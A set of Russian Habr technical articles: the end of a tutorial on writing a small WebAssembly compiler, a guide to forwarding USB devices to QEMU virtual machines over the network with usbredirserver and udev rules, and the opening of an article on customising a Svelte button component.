`Opcodes` (opcode, operation code — код операции) — это перечисление (`enum`), содержащее все инструкции `wasm`. `unsignedLEB128` — это функция для сжатия кода переменной длины для хранения произвольно больших целых чисел в небольшом количестве байтов ([LEB128](https://en.wikipedia.org/wiki/LEB128)). Она используется для кодирования параметров инструкций.
Инструкции функции комбинируются с ее локальными переменными (которые в данном случае отсутствуют), код операции `end` сигнализирует о завершении выполнения функции. Наконец, все функции помещаются в раздел. Функция `encodeVector` просто добавляет префикс со значением общей длины к коллекции байтовых массивов.
Длина получившегося модуля составляет около `30 байт`.
Обновим `JS-код`:
```
const { instance } = await WebAssembly.instantiate(wasm)
console.log(instance.exports.add(5, 6))
```
*Обратите внимание*: если вы исследуете экспортируемую функцию `add` с помощью инструментов разработчика в `Chrome`, то увидите, что это "обычная функция" (native function).
Разработка компилятора
----------------------
Пришло время для разработки компилятора. Начнем с терминологии.
Вот некоторый `chasm-код`, аннотированный для отображения ключевых компонентов языка:
Мы познакомимся с каждым из этих компонентов в процессе разработки компилятора.
Сам компилятор состоит из 3 частей:
* токенизатора (`tokenizer`), разделяющего/разбивающего (split) входящую/входную программу (input program) в виде строки на отдельные токены (`tokens`);
* парсера (`parser`), принимающего токены и преобразующего их в `AST`;
* эмиттера, преобразующего `AST` в бинарный модуль.
Пример архитектуры компилятора:
Вместо того, чтобы погружаться в полную реализацию, мы сосредоточимся на небольшой группе задач. Первая задача — разработать компилятор для языка, поддерживающего инструкции для вывода (print statements), выводящие числовые литералы (numeric literals):
```
print 22
print 45
```
Токенизатор
-----------
Токенизатор перебирает строку по одному символу, выполняя поиск совпадения с определенным типом токенов. Следующий код создает 3 совпадения (`number`, `keyword` и `whitespace`) с помощью простого регулярного выражения:
```
const keywords = ['print']
// возвращает токен, если переданное регулярное выражение совпадает с символом на позиции с текущим индексом
const regexMatcher = (regex: string, type: TokenType): Matcher =>
(input: string, index: number) => {
const match = input.substring(index).match(regex)
return (
match && {
type,
value: match[0]
}
)
}
const matchers = [
regexMatcher('^[.0-9]+', 'number'),
regexMatcher(`^${keywords.join('|')}`, 'keyword'),
regexMatcher('^\\s+', 'whitespace')
]
```
Интерфейс `Matcher` определяет функцию, принимающую строку и индекс и возвращающую токен при наличии совпадения.
Основная функция парсера перебирает строку посимвольно и при наличии совпадения добавляет токен в массив:
```
const tokenize: Tokenizer = (input) => {
const tokens: Token[] = []
let index = 0
while (index < input.length) {
const [match] = matchers.map((m) => m(input, index)).filter((f) => f)
if (match.type !== 'whitespace') {
tokens.push(match)
}
index += match.value.length
}
return tokens
}
```
Вот "токенизированый" вывод программы `print 23.1`:
```
[
{
"type": "keyword",
"value": "print",
"index": 1
},
{
"type": "number",
"value": "23.1",
"index": 7
}
]
```
Как видите, токенизатор удаляет пробелы, поскольку в нашем языке они не имеют никакого значения. Он также определяет валидность токенов. Однако, он не проверяет правильность оформления строки, например, он (с удовольствием) пропустит `print print`, несмотря на очевидную некорректность такой программы.
Парсер
------
Цель парсера — создание `AST`, древовидной структуры, которая кодирует отношения между токенами в форме, которая потенциально может быть напрямую передана интерпретатору для выполнения.
Парсер перебирает переданные токены, потребляя (consuming) их с помощью функции `eatToken`.
```
const parse: Parser = (tokens) => {
const iterator = tokens[Symbol.iterator]()
let currentToken = iterator.next().value
const eatToken = () =>
(currentToken = iterator.next().value)
// ...
const nodes: StatementNode[] = []
while (index < tokens.length) {
nodes.push(parseStatement())
}
return nodes
}
```
Парсер преобразует массив токенов в массив инструкций, которые являются ключевыми строительными блоками любого языка. Он ожидает, что переданные токены будут соответствовать указанному паттерну, при несоответствии выбрасывается исключение.
Функция `parseStatement` ожидает, что каждая инструкция начинается с ключевого слова, за которым следует некоторое значение:
```
const parseStatement = () => {
if (currentToken.type === 'keyword') {
case 'print':
eatToken()
return {
type: 'printStatement',
expression: parseExpression()
}
}
}
```
В данный момент единственным поддерживаемым нашим языком ключевым словом является `print` — возвращается узел (node) `AST` типа `printStatement`, в котором разбирается соответствующее выражение.
Парсер выражений выглядит так:
```
const parseExpression = () => {
let node: ExpressionNode
switch (currentToken.type) {
case 'number':
node = {
type: 'numberLiteral',
value: Number(currentToken.value)
}
eatToken()
return node
}
}
```
В данный момент наш язык принимает только выражения, состоящие из одного числа — числовой литерал. Поэтому парсер ожидает, что следующим токеном будет число и, когда происходит совпадение, возвращается узел типа `numberLiteral`.
Для программы `print 23.1` результат работы парсера будет следующим:
```
[
{
"type": "printStatement",
"expression": {
"type": "numberLiteral",
"value": 23.1
}
}
]
```
Как видите, `AST` для нашего языка — это массив узлов с инструкциями. Парсинг гарантирует, что входящая программа является синтаксически корректной, т.е. правильно сформирована, но не гарантирует успешность выполнения этой программы, поэтому в ней могут присутствовать ошибки времени выполнения.
Эмиттер
-------
В данный момент эмиттер возвращает функцию `add`. Однако он должен принимать `AST` и генерировать соответствующие инструкции:
```
const codeFromAst = (ast) => {
const code = []
const emitExpression = (node) => {
switch (node.type) {
case 'numberLiteral':
code.push(Opcodes.f32_const)
code.push(...ieee754(node.value))
break
}
}
ast.forEach((statement) => {
switch (statement.type) {
case 'printStatement':
emitExpression(statement.expression)
code.push(Opcodes.call)
code.push(...unsignedLEB128(0))
break
}
})
return code
}
```
Эмиттер перебирает инструкции, формирующие "корень" (root) `AST`, в поисках совпадений. Первое, что он делает — генерирует инструкции для выражений. Поскольку `WA` — это стек-машина, инструкции выражений должны обрабатываться первыми с помещением результата в стек.
Функция `print` реализована через операцию `call`, которая вызывает функцию по нулевому индексу.
Ранее мы видели, как модули могут экспортировать функции. Они также могут импортировать функции, которые доставляются при инстанцировании модуля. Пример импорта функции `env.print` для вывода сообщений в консоль:
```
const instance = await WebAssembly.instantiate(wasm, {
env: {
print: console.log
}
})
```
Эта функция доступна по индексу `call 0`.
Полный код текущего шага можно найти [здесь](https://github.com/ColinEberhardt/chasm/tree/1edac4777e06b82da0133ef5554d1baaccea0726), а поиграть с этим кодом — [здесь](https://colineberhardt.github.io/chasm/#cHJpbnQgMjMuMQ%3D%3D).
Эволюцию программы на каждом этапе компиляции можно представить следующим образом:
Реализация выражений
--------------------
Займемся реализацией бинарных выражений. Это позволит языку выполнять простые математические операции, например, `print ((42 + 10) / 2)`.
Изменения токенизатора довольно тривиальные — мы просто добавляем несколько регулярок для скобок и операторов. Я не буду на этом останавливаться. Результат работы парсера будет следующим:
```
[
{ "type": "keyword", "value": "print" },
{ "type": "parens", "value": "(" },
{ "type": "parens", "value": "(" },
{ "type": "number", "value": "42" },
{ "type": "operator", "value": "+" },
{ "type": "number", "value": "10" },
{ "type": "parens", "value": ")" },
{ "type": "operator", "value": "/" },
{ "type": "number", "value": "2" },
{ "type": "parens", "value": ")" }
]
```
Рассмотрим изменения парсера — парсер выражений теперь принимает токены типа `number` и `parens` (parenthesis — скобки):
```
const parseExpression = () => {
let node: ExpressionNode
switch (currentToken.type) {
case 'number':
// ...
case 'parens':
eatToken()
const left = parseExpression()
const operator = currentToken.value
eatToken()
const right = parseExpression()
eatToken()
return {
type: 'binaryExpression',
left,
right,
operator
}
}
}
```
*Обратите внимание*: парсинг выражений `parens` является рекурсивным, узлы для левого и правого операндов вызывают функцию `parseExpression`.
`AST` для программы `print ((42 + 10) / 2)` будет выглядеть так:
```
[
{
type: "printStatement",
expression: {
type: "binaryExpression",
left: {
type: "binaryExpression",
left: {
type: "numberLiteral",
value: 42
},
right: {
type: "numberLiteral",
value: 10
},
operator: "+"
},
right: {
type: "numberLiteral",
value: 2
},
operator: "/"
}
}
]
```
Древовидная структура `AST` становится более очевидной, не правда ли?
Добавляем в эмиттер обработку узла типа `binaryExpression`:
```
const emitExpression = (node) =>
traverse(node, (node) => {
switch (node.type) {
case 'numberLiteral':
code.push(Opcodes.f32_const)
code.push(...ieee754(node.value))
break
case 'binaryExpression':
code.push(binaryOpcode[node.operator])
break
}
})
```
Функция `traverse` обходит дерево, вызывая переданного посетителя (visitor) для каждого узла. Несмотря на то, что для линейных структур существует только один логический способ обхода (по порядку), деревья можно обходить [разными способами](https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/). Метод, используемый эмиттером, представляет собой обход в глубину после упорядочения (depth-first post-order traversal). Другими словами, при переборе он обходит левый, правый, затем корневой узлы — такой порядок обеспечивает правильное помещение `wasm-инструкций` в стек: сначала помещаются операнды, затем оператор.
Это все изменения, которые необходимо произвести для поддержки выражений. Поиграть с кодом данного шага можно [здесь](https://colineberhardt.github.io/chasm/#cHJpbnQgKCg0MiArIDEwKSAvIDIp).
Сложная архитектура компилятора начинает оправдываться.
Переменные
----------
Добавим поддержку переменных:
```
var f = 2
print (f + 1)
```
Переменные объявляются с помощью ключевого слова `var` и могут быть использованы в выражениях как идентификаторы.
Мы не будем рассматривать изменения токенизатора — еще парочка регулярок. В основном цикле парсера, где происходит чтение инструкций из массива токенов, тип инструкции определяется на основе ключевого слова:
```
const parseVariableDeclarationStatement = () => {
eatToken() // var
const name = currentToken.value
eatToken()
eatToken() // =
return {
type: 'variableDeclaration',
name,
initializer: parseExpression()
}
}
const parseStatement: ParseStep = () => {
if (currentToken.type === 'keyword') {
switch (currentToken.value) {
case 'print':
return parsePrintStatement()
case 'var':
return parseVariableDeclarationStatement()
}
}
}
```
*Обратите внимание*, что функция `parseVariableDeclarationStatement` использует парсер выражений. Это обеспечивает возможность объявления переменной с присвоением ей значения в одном выражении, например, `var f = (1 + 4)`.
Далее следует эмиттер. Функции `WA` могут содержать локальные переменные, которые определяются в начале функции и доступны через методы `get_local` и `set_local`, которые также позволяют извлекать параметры функции.
Переменные в нашем `AST` доступны по названиям идентификаторов, хотя `wasm` идентифицирует локальные переменные по индексу. Поэтому эмиттеру требуется символьная таблица (symbol table), которая является простой картой (map), связывающей название символа с индексом:
```
const symbols = new Map()
const localIndexForSymbol = (name: string) => {
if (!symbols.has(name)) {
symbols.set(name, symbols.size)
}
return symbols.get(name)
}
```
При обходе дерева объявление переменной преобразуется в выражение, затем вызывается функция `set_local` для присвоения значения соответствующей локальной переменной.
```
case 'variableDeclaration':
emitExpression(statement.initializer)
code.push(Opcodes.set_local)
code.push(...unsignedLE128(localIndexForSymbol(node.value)))
break
```
Также необходимо обновить кодирование функции для добавления локальных переменных для функции, которую сгенерировал эмиттер. `chasm` поддерживает единственный тип переменных — все является числом с плавающей точкой.
Поиграть с кодом этого шага можно [здесь](https://colineberhardt.github.io/chasm/#dmFyIGYgPSAxMApwcmludCAoZiArIDEwKQ%3D%3D).
Цикл while
----------
Для рендеринга множества Мандельброта нам требуется какой-нибудь цикл. Для `chasm` я выбрал цикл `while`. Пример простой программы, выводящей числа от 0 до 9:
```
var f = 0
while (f < 10)
print f
f = (f + 1)
endwhile
```
`WA` имеет разные инструкции для потока управления (control flow): ветки, if, else, цикл, блок и т.д. Вот как может выглядеть цикл `while` на `WAT`:
```
(block
(loop
[loop.condition] // условие
i32.eqz
[nested statements] // вложенные инструкции
br_if 1
br 0)
)
```
Ветвление (branching) в `WA` основано на глубине стека. Внешние инструкции `block` и `loop` помещают сущности в стек потока управления. Инструкция `br_if 1` выполняет ветку условия (conditional branch) на первом уровне глубины стека, а `br 0` — это обычная ветка, повторно запускающая `loop`.
Эмиттер преобразует приведенный выше `WAT` в бинарный формат следующим образом:
```
case 'whileStatement':
// внешний `block`
code.push(Opcodes.block)
code.push(Blocktype.void)
// внутренний `loop`
code.push(Opcodes.loop)
code.push(Blocktype.void)
// вычисляем выражение `while`
emitExpression(statement.expression)
code.push(Opcodes.i32_eqz)
// br_if $label0
code.push(Opcodes.br_if)
code.push(...signedLED128(1))
// вложенная логика
emitStatements(statement.statements)
// br $label1
code.push(Opcodes.br)
code.push(...signedLEB128(0))
// конец цикла
code.push(Opcodes.end)
// конец блока
code.push(Opcodes.end)
break
```
Поиграть к кодом данного шага можно [здесь](https://colineberhardt.github.io/chasm/#dmFyIGYgPSAwCndoaWxlIChmIDwgMTApCiAgcHJpbnQgZgogIGYgPSAoZiArIDEpCmVuZHdoaWxl).
Графика
-------
Мы почти закончили — остался последний шаг. Сейчас единственным способом увидеть результат работы нашего компилятора является использование инструкции `print`, которая привязывается к `console.log` через функцию, импортируемую в модуль. Для множества Мандельброта нам требуется какой-то способ рендерить графику на экране.
Для решения этой задачи мы используем еще один важный компонент модулей — линейную память (linear memory):
Как упоминалось ранее, `WA` имеет всего 4 числовых типа данных. Как язык с более богатой системой типов (строка, структура, массив и др.) может быть скомпилирован в `wasm`?
Модули могут определять (или импортировать) блоки линейной памяти, представляющие собой непрерывные блоки памяти, распределяемые между модулями и их хостами — оба могут читать и писать в эту память. Таким образом, для передачи в модуль строки мы [записываем ее в линейную память](https://stackoverflow.com/questions/47529643/how-to-return-a-string-or-similar-from-rust-in-webassembly/47676844#47676844).
Нам нужен какой-то способ отображения результата, поэтому мы будем использовать линейную память как разновидность [ОЗУ для видео](https://ru.wikipedia.org/wiki/VRAM) (Video Random Access Memory, VRAM).
`chasm` поддерживает простую команду `setpixel`, которая принимает 3 параметра: координату `x`, координату `y` и цвет (`color`). Например, такая программа заливает экран горизонтальным градиентом:
```
var y = 0
while (y < 100)
var x = 0
while (x < 100)
setpixel x y (x * 2)
x = (x + 1)
endwhile
y = (y + 1)
endwhile
```
Поиграть с этой программой можно [здесь](https://colineberhardt.github.io/chasm/#dmFyIHkgID0gMAp3aGlsZSAoeSA8IDEwMCkKICB2YXIgeCAgPSAwCiAgd2hpbGUgKHggPCAxMDApCiAgICBzZXRwaXhlbCB4IHkgKHggKiAyKQogICAgeCA9ICh4ICsgMSkKICBlbmR3aGlsZQogIHkgPSAoeSArIDEpCmVuZHdoaWxlCgogICAg).
Команда `setpixel` реализована с помощью `wasm-инструкции` `store`, которая позволяет писать в линейную память. На стороне хоста (`JS`) эта память читается и переносится на холст (`canvas`) `HTML`. Реализацию данной команды можно найти [здесь](https://github.com/ColinEberhardt/chasm/commit/cb4c069e3b9ad827a10ced16921cd89176271111).
На этом разработку `chasm` можно считать завершенной. Разработанный нами язык прекрасно справляется с задачей рендеринга множества Мандельброта:
Надеюсь, вам понравилось наше небольшое путешествие, и вы узнали немного больше о том, как работают `WA` и компиляторы.
Благодарю за внимание и happy coding!
---
[](http://cloud.timeweb.com/services/timeweb-private-vpn?utm_source=habr&utm_medium=banner&utm_campaign=vpn) | https://habr.com/ru/post/660607/ | null | ru | null |
# Проброс USB в виртуалку по сети средствами UsbRedir и QEMU
На сегодняшний день существет довольно много способов пробросить USB-устройство на другой компьютер или виртуалку по сети.
Из наиболее популярных — железячные такие как AnywhereUSB и чисто програмные продукты, из тех что я попробовал сам: USB Redirector и USB/IP.
Я бы хотел рассказать вам еще об одном интересном способе, который работает непосредственно с эмулятором QEMU.
Он так же является частью проекта spice, официально поддерживаемым RedHat.
UsbRedir, это открытый протокол для проброса usb-устройств по tcp на удаленный виртуальный сервер, разработанный при поддержке RedHat в рамках проекта spice. Но как оказалось им можно вполне успешно пользоваться и без spice. В роли сервера выступает usbredirserver, который шарит usb-устройство на определенный порт, а в качестве клиента сам QEMU, который эмулирует подключение экспортированного usb-устройства в определенный usb-контроллер вашей виртуальной машины. Благодаря такому подходу в качестве гостевой системы может использоваться абсолютно любая ОС, так как она даже не знает, что устройство является проброшенным удаленно, а вся логика ложится на QEMU.
Для начала несколько слов о вышеперчисленных решениях
-----------------------------------------------------
* AnywhereUSB — довольно неплохое решение, но дорогое, и имеет неприятние глюки, например бывает если расшаренная флешка отваливается, то переподключить ее обратно можно только физически вынув и вставив ее.
* USB/IP — OpenSource проект. Вроде как был заброшен. По факту глючит довольно сильно. При разрыве соединения, машина частенько уходит в полнейший freezee, а windows показывает BSOD
* USB Redirector — Замечательная софтина. Для расшаривания устройств с linux на linux бесплатна, во всех остальных случаях уже стоит денег, не так много как AnywhereUSB, но и не бесплатно как хотелось бы :)
Как видно есть из чего выбрать, но давайте же наконец попробуем еще один способ — UsbRedir?
Настройка виртуальной машины
----------------------------
Для того что бы было куда подключать экспортированные устройства, на виртуальной машине нужно создать необходимые usb-контроллеры:
* uhci — для USB1.0
* ehci — для USB2.0
* xhci — для USB3.0
##### Для qemu (без libvirt)
Добавьте опции в команду запуска виртуальной машины:
```
-device ich9-usb-ehci1,id=ehci,addr=1d.7,multifunction=on
-device ich9-usb-uhci1,id=uhci-1,addr=1d.0,multifunction=on,masterbus=ehci.0,firstport=0
-device ich9-usb-uhci2,id=uhci-2,addr=1d.1,multifunction=on,masterbus=ehci.0,firstport=2
-device ich9-usb-uhci3,id=uhci-3,addr=1d.2,multifunction=on,masterbus=ehci.0,firstport=4
```
##### Для libvirt
В исходном файле конфигурации виртуальной машины в узле **<devices>** удаляем все USB контроллеры и добавляем следущий блок:
```
```
*Кстати, если вы используете spice, то добавив к контроллерам еще 3 специальных девайса, станет возможен проброс usb-устройств с клиента spice на сервер.***Пример под спойлером**##### Для qemu
Добавляем следующие опции в команду запуска виртуальной машины, помимо контроллеров определеных нами раньше:
```
-chardev spicevmc,name=usbredir,id=usbredirchardev1
-device usb-redir,chardev=usbredirchardev1,id=usbredirdev1,debug=3
-chardev spicevmc,name=usbredir,id=usbredirchardev2
-device usb-redir,chardev=usbredirchardev2,id=usbredirdev2,debug=3
-chardev spicevmc,name=usbredir,id=usbredirchardev3
-device usb-redir,chardev=usbredirchardev3,id=usbredirdev3,debug=3
```
##### Для libvirt
В исходном файле конфигурации виртуальной машины в узле <devices> добавляем следующие опции, помимо контроллеров определеных нами раньше:
```
```
Теперь все готово для осуществления проброса.
Запуск сервера
--------------
Пакет usbredirserver можно найти в стандартных репозиториях практически во всех популярных дистрибутивах linux.
Вставляем флешку в компьютер, смотрим вывод usb-устройств:
```
$ lsusb
...
Bus 003 Device 011: ID 125f:c82a A-DATA Technology Co., Ltd.
...
```
Видим что пара vendorid:prodid равна 125f:c82a, а ядро определило флешке 003-001 usbbus-usbaddr соотвественно.
Теперь давайте расшарим ее на 4000 порт:
```
# Используя пару vendorid:prodid
$ usbredirserver -p 4000 125f:c82a
# Используя пару usbbus-usbaddr
$ usbredirserver -p 4000 003-011
```
Подключение устройства к виртуальной машине
-------------------------------------------
#### Через опции при запуске ВМ
Устройство которое нужно подключить к ВМ можно указать при запуске, добавив следующие опции в команду запуска
##### Для qemu
```
-chardev socket,id=usbredirchardev1,port=4000,host=192.168.1.123
-device usb-redir,chardev=usbredirchardev1,id=usbredirdev1,bus=ehci.0,debug=4
```
##### Для libvirt
Этот блок рамещается перед тегом **</devices>**, рядом с контроллерами определенными нами раньше:
```
```
*Его так же можно исполнить командой **virsh attach-device***
#### Или через qemu-monitor
Заходим на гипервизор и в qemu-monitor нашей машины выполняем следующие команды:
```
# Добавляем наше устройство
chardev-add socket,id=usbredirchardev1,port=4000,host=192.168.1.123
# Подключем его в ehci контроллер (USB-2.0)
device_add usb-redir,chardev=usbredirchardev1,id=usbredirdev1,bus=ehci.0,debug=4
```
Что бы отключить флешку достаточно такой команды:
```
device_del usbredirdev1
```
На этом все, после данных шагов ваша ВМ увидит вашу флешку и сможет с ней нативно работать.
Если устройств много и все они одинаковые
-----------------------------------------
Вот тут появилась интересная задачка, как пробросить несколько одинаковых девайсов на разные ВМ?
При этом, стоит отметить, все устройства имеют одинаковую пару vendorid:prodid, а пара usbbus-usbaddr совсем не постоянна, стоит только вынуть и вставить устройство, так оно сразу поменяет свой usbaddr.
Я решил ее при помощи udev.
Кстати если вы не совсем понимаете как работает udev, на Debian Wiki есть классная [статья о udev](https://wiki.debian.org/ru/udev)
#### И так приступим
Для начала нам надо узнать серийник нашего устройства, по которому и будем идентифицировать его в udev:
Запустим udev-монитор:
```
$ udevadm monitor --environment --udev
```
И вставим наше устройство, после этого мы сразу увидим список переменных этого устройства которые udev любезно инициализировал для нас:
```
...
UDEV [189056.151508] add /devices/virtual/bdi/8:16 (bdi)
ACTION=add
DEVPATH=/devices/virtual/bdi/8:16
ID_SERIAL_SHORT=11C130317234004B
SEQNUM=4352
SUBSYSTEM=bdi
USEC_INITIALIZED=189056149826
...
```
Информацию о серийнике и других аттрибутах можно получить и другим способом, но стоит учитывать что для написания правил мы будем использовать именно переменные из команды выше, а не аттрибуты из команды ниже. В противном случае не будет отрабатывать триггер remove при отключении устройства.
```
$ udevadm info -a -n /dev/bus/usb/003/011 | grep '{serial}'
```
Теперь создадаим файл /etc/udev/rules.d/99-usb-serial.rules и запишем в него следующие правила:
```
ACTION=="add", ENV{ID_SERIAL_SHORT}="11C130317234004B", RUN+="/usr/bin/usbredirserver -p 4000 $attr{busnum}-$attr{devnum}"
ACTION=="remove", ENV{ID_SERIAL_SHORT}="11C130317234004B", RUN+="/usr/bin/fuser -k 4000/tcp"
```
Перезагрузим udev-правила:
```
$ udevadm control --reload-rules
```
Готово, теперь при подключении нашего устройства, оно будет автоматически шарится на нужный нам порт, а при отключении usbredirserver будет прекращать свою работу.
По аналогии добавляем и остальные устройства.
На этом все. Спасибо за проявленный интерес :)
#### UPD: Тем кому интересно, что из этого в итоге получилось, можете посмотреть [здесь](https://github.com/kvaps/usbredirtools)
Источники:
----------
[umvirt.ru/node/82](http://umvirt.ru/node/82)
[opennebula.org/opennebula-for-virtual-desktops](http://opennebula.org/opennebula-for-virtual-desktops/)
[opennet.ru/opennews/art.shtml?num=30773](http://opennet.ru/opennews/art.shtml?num=30773)
[lists.gnu.org/archive/html/qemu-devel/2013-07/msg05244.html](http://lists.gnu.org/archive/html/qemu-devel/2013-07/msg05244.html)
[askubuntu.com/questions/49910/how-to-distinguish-between-identical-usb-to-serial-adapters](http://askubuntu.com/questions/49910/how-to-distinguish-between-identical-usb-to-serial-adapters)
[bugzilla.redhat.com/show\_bug.cgi?id=805172#c26](https://bugzilla.redhat.com/show_bug.cgi?id=805172#c26) | https://habr.com/ru/post/265065/ | null | ru | null |
# У дизайнера новая идея? Что может быть проще
Привет, *хабровчанин!* Дизайнеры люди идейные, а заказчики с их бизнес-требованиями, тем более.
Представь, что ты сваял свой самый лучший UIkit на свете на самом крутом %вставить свое% JS фреймворке. Казалось бы, там есть все, что нужно проекту. Теперь-то ты сможешь пить кофе, а все новые задачи закрывать накидыванием компонентов на страницу. Еще лучше, если ты нашел такой UIkit ~~на помойке~~ на просторах NPM и он идеально соответствует текущему UX/UI и его потребностям. Фантастика!
И действительно… кого я обманываю? Твое счастье, скорее всего, будет недолгим. Ведь когда дизайнер прибежит с талмудом новых UI-решений для очередной страницы или «спец-проекта», что-то по-любому пойдет не так.
В этот момент перед разработчиком встает вопрос *«DRY или не DRY»*? Стоит ли как-то кастомизировать существующие компоненты? Да еще так, чтобы не отхватить регрешн на существующих кейсах. Или же действовать по принципу «работает — не трогай» и написать новые компоненты с нуля. При этом, раздувая UIkit и усложняя поддержку.
Если ты, как и многие, бывал в такой ситуации, загляни под кат!
Несмотря на развернутое вступление, идея написания данной статьи пришла ко мне после прочтения [одного из тредов комментариев](https://habr.com/ru/company/ruvds/blog/433396/#comment_19514792) на Хабре. Там ребята не на шутку распылились по поводу того, как же нужно кастомизировать компонент кнопки на React. Ну а после того, как я понаблюдал за парочкой подобных холиваров в Телеграм, необходимость написать об этом окончательно укрепилась.
Для начала, попробуем представить какие именно «кастомизации» нам может понадобиться применять к компоненту.
Стили
-----
Прежде всего, это кастомизация стилей компонента. Банальный пример — кнопка серая, а нужна синяя. Или кнопка без закругленных углов и вдруг они нужны. Исходя из прочтенных мною холиваров, я сделал вывод что существует примерно 3 подхода для этого:
#### 1. Глобальные стили
Использовать ~~всю мощь~~ глобальные стили CSS, изрядно переправленные **!important**, чтобы снаружи, глобально, попробовать перекрыть стили изначального компонента. Решение, мягко говоря, спорное и уж слишком прямолинейное. К тому же, такой вариант просто не всегда возможен и при этом отчаянно нарушает любую инкапсуляцию стилей. Если конечно она применяется в ваших компонентах.
#### 2. Передача классов (стилей) из вышестоящего контекста
Также довольно спорное решение. Получается, мы как бы создает специальный *prop*, к примеру, назовем его **classes** и прямо сверху погружаем нужные классы в компонент.
```
```
Естественно работать такой подход будет лишь в том случае, когда компонент поддерживает применение стилей к своему содержимому таким образом. Кроме того, если компонент чуть более сложный и состоит из вложенной структуры HTML-элементов, то очевидно применить стили ко всем будет проблематично. А значит, они будут применены к корневому элементу компонента, а далее с помощью CSS правил каким-то образом распространяться дальше. Уныло.
#### 3. Настройка компонента посредством пропсов
Выглядит как самое толковое, но при этом наименее гибкое решение. Проще говоря, мы рассчитываем, что автор компонента какой-то гений и заранее продумал все варианты. То есть все что нам может понадобиться и определил все необходимые пропсы для всех желаемых результатов:
```
```
Звучит не очень правдоподобно, да? Пожалуй.
Поведение
---------
Тут все еще более неоднозначно. Прежде всего потому, что сложности в кастомизации поведения компонента идут от задачи. Чем сложнее компонент и заложенная в нем логика, а также чем сложнее то изменение, которое мы хотим сделать, тем сложнее сделать это изменение. Тавтология какая-то получилась… Короче вы поняли! ;-)
Однако даже в здесь существует набор средств, которые либо помогут нам кастомизировать компонент, либо нет. Так как мы говорим именно о компонентном подходе, то я бы выделил следующие полезные инструменты:
#### 1. Удобная работа с пропсами
Прежде всего нужно иметь возможность мимикрировать под набор пропсов компонента без необходимости повторного описания этого набора и удобно проксировать их дальше.
Далее, если мы пытаемся добавить некое поведение к компоненту, то, скорее всего, нужно будет задействовать дополнительный набор пропсов, которые не нужны изначальному компоненту. Поэтому неплохо иметь возможность отсекать часть пропсов и передавать в изначальный компонент только необходимое. При этом сохраняя все свойства синхронизированными.
Обратная сторона — когда мы хотим реализовать частный случай поведения компонента. Как-то зафиксировать часть его стейта на определенной задаче.
#### 2. Отслеживание жизненного цикла и событий компонента
Иными словами, все что происходит внутри компонента не должно быть полностью закрытой книгой. Иначе это реально усложнит кастомизацию его поведения.
Я не имею в виду нарушение инкапсуляции и бесконтрольное вмешательство внутрь. Управление компонентом должно осуществляться через его публичный api (обычно это пропсы и/или методы). Но иметь возможность как-то «узнать» о том, что творится внутри и отслеживать изменение его состояния, все же необходимо.
#### 3. Императивный способ управления
Будем считать, что я вам этого не говорил. И все же, иногда, неплохо иметь возможность получить инстанс компонента и императивно «подергать за ниточки». Лучше этого избегать, но в особо сложных кейсах, без этого бывает не обойтись.
Ок, вроде как с теорией разобрались. По большому счету, все очевидно, но не все понятно. Поэтому стоит рассмотреть хоть какой-то реальный кейс.
Кейс
----
Выше я упомянул, что идея написания статьи возникла из-за холивара о кастомизации кнопки. Поэтому я подумал что будет символично решить подобный кейс. Тупо менять цвет или закруглять углы было бы слишком просто, поэтому я постарался придумать чуть более сложный кейс.
Представим, что у нас есть некий компонент базовой кнопки, который используется в хуилионе мест приложения. Кроме того, он реализует некое базовое поведение для всех кнопок приложения, а также набор базовых, инкапсулированных стилей, которые, время от времени, синхронизируются с UI гайдами и все такое.
Далее, возникает необходимость иметь дополнительный компонент для кнопки отправки данных на сервер (submit button), который кроме стилевых изменений, требует реализации дополнительное поведение. К примеру, это может быть рисование прогресса отправки, а также визуальное представление результата данного действия — успешно или не успешно.
Примерно так это может выглядеть:
Не трудно догадаться, что слева располагается базовая кнопка, а справа кнопка отправки в состоянии успешного завершения запроса. Что ж, если кейс понятен — приступим к реализации!
### Решение
Мне так и не удалось разобраться с тем, что именно вызвало холивар в решении на React. Видимо там не так все однозначно. Поэтому я не буду испытывать судьбу и воспользуюсь более привычным для себя инструментом — [**SvelteJS**](https://svelte.technology/) — [исчезающим фреймворком нового поколения](https://habr.com/ru/post/414869/), который практически идеально подходит для решения [подобных задач](https://habr.com/ru/post/420113/).
Сразу договоримся, мы не будем никаким образом вмешиваться в код базовой кнопки. Будем считать, что она вообще написана не нами и ее код закрыт для исправлений. В данном случае компонент базовой кнопки будет выглядеть как-то так:
**Button.html**
```
export default {
data() {
return {
type: 'button',
disabled: false,
autofocus: false,
value: '',
name: ''
};
}
};
/\* scoped styles \*/
```
И использоваться таким образом:
```
Cancel
```
Обратите внимание, компонент кнопки действительно очень базовый. Он не содержит совершенно никаких вспомогательных элементов или пропсов, которые могли бы помочь в реализации расширенного вариант компонента. Данный компонент даже не поддерживает передачу стилей пропсами или хоть какую-то встроенную кастомизацию, а все стили строго изолированы и не протекают наружу.
Создать на базе этого компонента другой, с расширенной функциональностью, да еще без внесения изменений, может показаться не простой задачей. Но только не тогда, когда вы используете **Svelte**.
Теперь давайте определим что должна уметь кнопка отправки:
1. Прежде всего рамка и текст кнопки должны быть зелеными. При наведении фон также должен быть зеленым, вместо темно-серого.
2. Далее, при нажатии на кнопку она должна «охлопываться» в круглый прогресс-индикатор.
3. По завершении процесса (который управляется снаружи), нужно чтобы статус кнопки можно было сменить на успешный (success) или не успешный (error). При этом, кнопка из индикатора должна превратиться либо в зеленый бейдж с галкой, либо в красный бейдж с крестиком.
4. Также необходимо иметь возможность задать время, через которое соответствующий бейдж снова превратиться в кнопку в изначальном состоянии (idle).
5. Ну и конечно же, необходимо сделать все это поверх базовой кнопки с сохранением и применением всех стилей и пропсов оттуда.
Фух, не легкая задача. Давайте сначала создадим новый компонент и обернем им базовую кнопку:
**SubmitButton.html**
```
import Button from './Button.html';
export default {
components: { Button }
};
```
Пока это точно такая же кнопка, только хуже — она даже не умеет проксировать пропсы. Это не беда, вернемся к этому позднее.
#### Стилизуем
А пока, давайте подумаем как же нам стилизовать новую кнопку, а именно — поменять цвета, согласно задаче. К сожалению, похоже мы не можем использовать ни один из подходов, описанных выше.
Так как стили изолированы внутри кнопки, могут возникнуть проблемы с глобальными стилями. Прокинуть стили внутрь тоже не получится — базовая кнопка просто не поддерживает этой возможности. Так же как и кастомизацию внешнего вида с помощью пропсов. Кроме того, нам бы хотелось, чтобы все стили, написанные для новой кнопки также были бы инкапсулированы внутри этой кнопки и не протекали наружу.
Решение невероятно простое, но только в том случае, если вы уже используете **Svelte**. Итак, просто пишем стили для новой кнопки:
